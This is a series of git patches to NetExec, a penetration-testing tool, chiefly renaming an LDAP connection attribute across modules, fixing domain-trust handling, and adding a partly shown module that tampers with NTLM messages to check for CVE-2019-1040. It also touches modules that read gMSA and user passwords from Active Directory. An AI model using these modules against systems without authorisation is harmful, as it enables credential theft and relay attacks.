self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -347,8 +347,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -404,8 +404,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -425,8 +425,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -490,8 +490,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -511,8 +511,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -605,12 +605,12 @@ class ldap(connection): def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: - if self.ldapConnection: + if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) - return self.ldapConnection.search( + return self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, @@ -1158,7 +1158,7 @@ class ldap(connection): searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldapConnection.search( + resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ @@ -1286,7 +1286,7 @@ class ldap(connection): def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=[ @@ -1339,7 +1339,7 @@ class ldap(connection): else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], @@ -1369,7 +1369,7 @@ class ldap(connection): gmsa_pass = gmsa[1] # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], From ea7e0925a140c8082b3b496d51a0e817710f7f50 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 02:28:26 +0100 Subject: [PATCH 135/376] fix trust relation for smb --- nxc/protocols/smb.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e0440c53..676eaa76 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -296,9 +296,10 @@ class smb(connection): self.logger.debug(f"Error logging off system: {e}") # DCOM connection with kerberos needed - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}" - if not self.kdcHost and self.domain: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") From 73ce6d773ff66a28508c430b0a999a90bb34b5e6 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 13:55:59 +0100 Subject: [PATCH 136/376] fix trust relation for ldap --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 30130369..c45dc3db 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -249,7 +249,7 @@ class ldap(connection): ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] - if not self.kdcHost and self.domain: + if not self.kdcHost and self.domain and self.domain == self.remoteName: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") From 930f045190cc8a541c5b64b6165e2d5e100442e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Dec 2024 08:28:27 -0500 Subject: [PATCH 137/376] Changing logging output --- nxc/modules/snipped.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index e5bfe00f..dd8b9fce 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -96,17 +96,17 @@ class NXCModule: connection.conn.getFile(self.share, remote_file_path, local_file.write) if not exists(local_file_path): - context.log.error(f"Downloaded file {local_file_path} does not exist.") + context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") continue file_size = getsize(local_file_path) if file_size == 0: - context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.") + context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") os.remove(local_file_path) else: total_files_downloaded += 1 except Exception as e: - context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") if total_files_downloaded > 0 and host_output_path: context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") From 2afb383cdf11e670df3164e1f1b699bf74dc592d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Dec 2024 08:36:55 -0500 Subject: [PATCH 138/376] Change error to fail message --- nxc/modules/mssql_coerce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py index 634b7e50..a4dca25a 100644 --- a/nxc/modules/mssql_coerce.py +++ b/nxc/modules/mssql_coerce.py @@ -75,5 +75,5 @@ class NXCModule: result = self.mssql_conn.sql_query(command) self.context.log.debug(f"Executing command: {command}, Command result: {result}") except Exception as e: - self.context.log.error(f"Failed to execute command: {command}, Error: {e}") + self.context.log.fail(f"Failed to execute command: {command}, Error: {e}") self.context.log.display("Commands executed successfully, check the listener for results") From 2a98a9255ede8b98573ecfcf9345c279ea2c11f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Dec 2024 09:42:32 -0500 Subject: [PATCH 139/376] Add a query for the linked server config if we are local admin --- nxc/modules/enum_links.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py index fea52cd3..01b97f30 100644 --- a/nxc/modules/enum_links.py +++ b/nxc/modules/enum_links.py @@ -1,11 +1,11 @@ class NXCModule: """ Enumerate SQL Server linked servers - Module by deathflamingo + Module by deathflamingo, NeffIsBack """ name = "enum_links" - description = "Enumerate linked SQL Servers" + description = "Enumerate linked SQL Servers and their login configurations." supported_protocols = ["mssql"] opsec_safe = True multiple_hosts = True @@ -14,6 +14,9 @@ class NXCModule: self.mssql_conn = None self.context = None + def options(self, context, module_options): + pass + def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn @@ -25,6 +28,18 @@ class NXCModule: else: self.context.log.fail("No linked servers found.") + def on_admin_login(self, context, connection): + res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin") + srvs = [srv for srv in res if srv["Local Login"] != "NULL"] + if not srvs: + self.context.log.fail("No linked servers found.") + return + self.context.log.success("Linked servers found:") + for srv in srvs: + self.context.log.display(f"Linked server: {srv['Linked Server']}") + self.context.log.display(f" - Local login: {srv['Local Login']}") + self.context.log.display(f" - Remote login: {srv['Remote Login']}") + def get_linked_servers(self) -> list: """ Fetches a list of linked servers. @@ -36,5 +51,3 @@ class NXCModule: query = "EXEC sp_linkedservers;" res = self.mssql_conn.sql_query(query) return [server["SRV_NAME"] for server in res] if res else [] - def options(self, context, module_options): - pass From bb378830b3a5eb290a980ea849027a381aac8e56 Mon Sep 17 00:00:00 2001 From: Hakan Yavuz Date: Wed, 25 Dec 2024 13:50:02 +0300 Subject: [PATCH 140/376] Rename ldapConnection to the new ldap_connection var #508 #4767762 --- nxc/modules/adcs.py | 6 +++--- nxc/modules/daclread.py | 4 ++-- nxc/modules/enum_trusts.py | 2 +- nxc/modules/find-computer.py | 2 +- nxc/modules/get-desc-users.py | 2 +- nxc/modules/get-network.py | 2 +- nxc/modules/get-unixUserPassword.py | 2 +- nxc/modules/get-userPassword.py | 2 +- nxc/modules/group-mem.py | 2 +- nxc/modules/groupmembership.py | 2 +- nxc/modules/obsolete.py | 2 +- nxc/modules/pre2k.py | 2 +- nxc/modules/pso.py | 2 +- nxc/modules/sccm.py | 16 ++++++++-------- nxc/modules/subnets.py | 8 ++++---- nxc/modules/user-desc.py | 2 +- nxc/modules/whoami.py | 4 ++-- 17 files changed, 31 insertions(+), 31 deletions(-) diff --git a/nxc/modules/adcs.py b/nxc/modules/adcs.py index 6946a9b0..c13c4e56 100644 --- a/nxc/modules/adcs.py +++ b/nxc/modules/adcs.py @@ -49,10 +49,10 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn if self.server is None: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter, attributes=[], sizeLimit=0, @@ -61,7 +61,7 @@ class NXCModule: searchBase="CN=Configuration," + base_dn_root, ) else: - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=search_filter + base_dn_root + ")", attributes=["certificateTemplates"], sizeLimit=0, diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index efec5532..0bdff145 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -274,8 +274,8 @@ class NXCModule: self.context = context """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified""" context.log.highlight("Be careful, this module cannot read the DACLS recursively.") - self.baseDN = connection.ldapConnection._baseDN - self.ldap_session = connection.ldapConnection + self.baseDN = connection.ldap_connection._baseDN + self.ldap_session = connection.ldap_connection # Searching for the principal SID if self.principal_sAMAccountName is not None: diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index fc6ed852..ef43bcb0 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -21,7 +21,7 @@ class NXCModule: attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"] context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) trusts = [] context.log.debug(f"Total of records returned {len(resp)}") diff --git a/nxc/modules/find-computer.py b/nxc/modules/find-computer.py index dc1838bf..fa5dff4c 100644 --- a/nxc/modules/find-computer.py +++ b/nxc/modules/find-computer.py @@ -39,7 +39,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0) except LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index 31c76816..17ab95ea 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 4579815d..732acd2c 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -121,7 +121,7 @@ class NXCModule: sfilter = "(DC=*)" try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=search_target, searchFilter=sfilter, attributes=["dnsRecord", "dNSTombstoned", "name"], diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 46e26f9e..fbf88a99 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "unixUserPassword"], sizeLimit=0, diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 182fce30..2888941e 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index 28b81198..f9464ee3 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -68,7 +68,7 @@ class NXCModule: def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: diff --git a/nxc/modules/groupmembership.py b/nxc/modules/groupmembership.py index c8f9d255..ce9000d0 100644 --- a/nxc/modules/groupmembership.py +++ b/nxc/modules/groupmembership.py @@ -37,7 +37,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index d09b0081..f1a50430 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index e2ceb4b6..8fe1c460 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): try: - ldap_connection = connection.ldapConnection + ldap_connection = connection.ldap_connection # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index a9d930d1..973a1f06 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): # Are there even any FGPPs? context.log.success("Attempting to enumerate policies...") - resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") + resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") if len(resp) > 1: context.log.highlight(f"{len(resp) - 1} PSO Objects found!") context.log.highlight("") diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index de317d74..871617c8 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -49,7 +49,7 @@ class NXCModule: """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection - self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn + self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration @@ -58,7 +58,7 @@ class NXCModule: search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor"], sizeLimit=0, @@ -129,7 +129,7 @@ class NXCModule: try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], @@ -157,7 +157,7 @@ class NXCModule: try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) @@ -176,7 +176,7 @@ class NXCModule: def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], @@ -199,7 +199,7 @@ class NXCModule: def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], @@ -244,7 +244,7 @@ class NXCModule: """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], @@ -277,7 +277,7 @@ class NXCModule: def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], diff --git a/nxc/modules/subnets.py b/nxc/modules/subnets.py index 0f2001d0..d19f40c2 100644 --- a/nxc/modules/subnets.py +++ b/nxc/modules/subnets.py @@ -42,12 +42,12 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn context.log.display("Getting the Sites and Subnets from domain") try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], @@ -68,7 +68,7 @@ class NXCModule: site_description = site["description"] # Getting subnets of this site - list_subnets = connection.ldapConnection.search( + list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], @@ -86,7 +86,7 @@ class NXCModule: if self.showservers: # Getting machines in these subnets - list_servers = connection.ldapConnection.search( + list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 88d998ba..866b8959 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -76,7 +76,7 @@ class NXCModule: try: sc = ldap.SimplePagedResultsControl() - connection.ldapConnection.search( + connection.ldap_connection.search( searchFilter=self.search_filter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/whoami.py b/nxc/modules/whoami.py index f49d281d..c33bf329 100644 --- a/nxc/modules/whoami.py +++ b/nxc/modules/whoami.py @@ -17,13 +17,13 @@ class NXCModule: self.username = module_options["USER"] def on_login(self, context, connection): - searchBase = connection.ldapConnection._baseDN + searchBase = connection.ldap_connection._baseDN searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})" context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter") # Get attributes of provided user - r = connection.ldapConnection.search( + r = connection.ldap_connection.search( searchBase=searchBase, searchFilter=searchFilter, attributes=[ From c0e618fe415a75dc9e538d0f82a50aefa1183b46 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 26 Dec 2024 08:53:11 -0500 Subject: [PATCH 141/376] Fix #514 --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 8df5cb95..e2114a7d 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -384,7 +384,7 @@ class connection: if isfile(user): with open(user) as user_file: for line in user_file: - if "\\" in line: + if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain From 1b7dbe3ba1867d9d7c6db88a8346601b4f0595e9 Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Fri, 27 Dec 2024 01:26:55 +0800 Subject: [PATCH 142/376] [SMB] Allow force to use smbv2 Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/protocols/smb.py | 15 +++++++++------ nxc/protocols/smb/proto_args.py | 1 + 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 676eaa76..01c039e9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -583,22 +583,23 @@ class smb(connection): return False return True - def create_conn_obj(self, no_smbv1=False): + def create_conn_obj(self): """ Tries to create a connection object to the target host. On first try, it will try to create a SMBv1 connection. On further tries, it will remember which SMB version is supported and create a connection object accordingly. - - :param no_smbv1: If True, it will not try to create a SMBv1 connection """ + if self.args.force_smbv2: + return self.create_smbv3_conn() + # Initial negotiation - if not no_smbv1 and self.smbv1 is None: + if self.smbv1 is None: self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True elif not self.is_timeouted: return self.create_smbv3_conn() - elif not no_smbv1 and self.smbv1: + elif self.smbv1: return self.create_smbv1_conn() else: return self.create_smbv3_conn() @@ -879,8 +880,10 @@ class smb(connection): write = False write_dir = False write_file = False + pwd = ntpath.join("\\", "*") + pwd = ntpath.normpath(pwd) try: - self.conn.listPath(share_name, "*") + self.conn.listPath(share_name, pwd) read = True share_info["access"].append("READ") except SessionError as e: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5f1875aa..9f5ef419 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -16,6 +16,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) + smb_parser.add_argument("--force-smbv2", action="store_true", help="Force to use SMBv2 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") From 3e44b41e8baab8da39bafd50934ead12ea94c54e Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Thu, 26 Dec 2024 02:24:10 +0800 Subject: [PATCH 143/376] [Module] Add remove mic check Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- nxc/modules/remove-mic.py | 192 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 nxc/modules/remove-mic.py diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py new file mode 100644 index 00000000..a41d6bbb --- /dev/null +++ b/nxc/modules/remove-mic.py @@ -0,0 +1,192 @@ +# Original Author: +# Dirk-jan Mollema (@_dirkjan) +# dlive (@D1iv3) +# +# Refernece: +# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ +# - https://github.com/fox-it/cve-2019-1040-scanner +# - https://github.com/Dliv3/cve-2019-1040-scanner +# +# Modify by: +# XiaoliChan (@Memory_before) + +import calendar +import struct +import time +import random +import string + +from impacket import ntlm +from impacket import nt_errors +from impacket.smbconnection import SessionError + + +class NXCModule: + name = "remove-mic" + description = "Check if host vulnerable to CVE-2019-1040" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """PORT Port to check (defaults to 445)""" + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 + ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 + try: + connection.conn.reconnect() + except SessionError as e: + if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: + context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") + else: + context.log.info("Unexpected Exception while authentication") + else: + context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + +class Modify_Func: + # Slightly modified version of impackets computeResponseNTLMv2 + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b''): + + responseServerVersion = b'\x01' + hiResponseServerVersion = b'\x01' + responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) + + av_pairs = ntlm.AV_PAIRS(serverName) + # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will + # get access denied + # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation + # level + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = 'cifs/'.encode('utf-16le') + 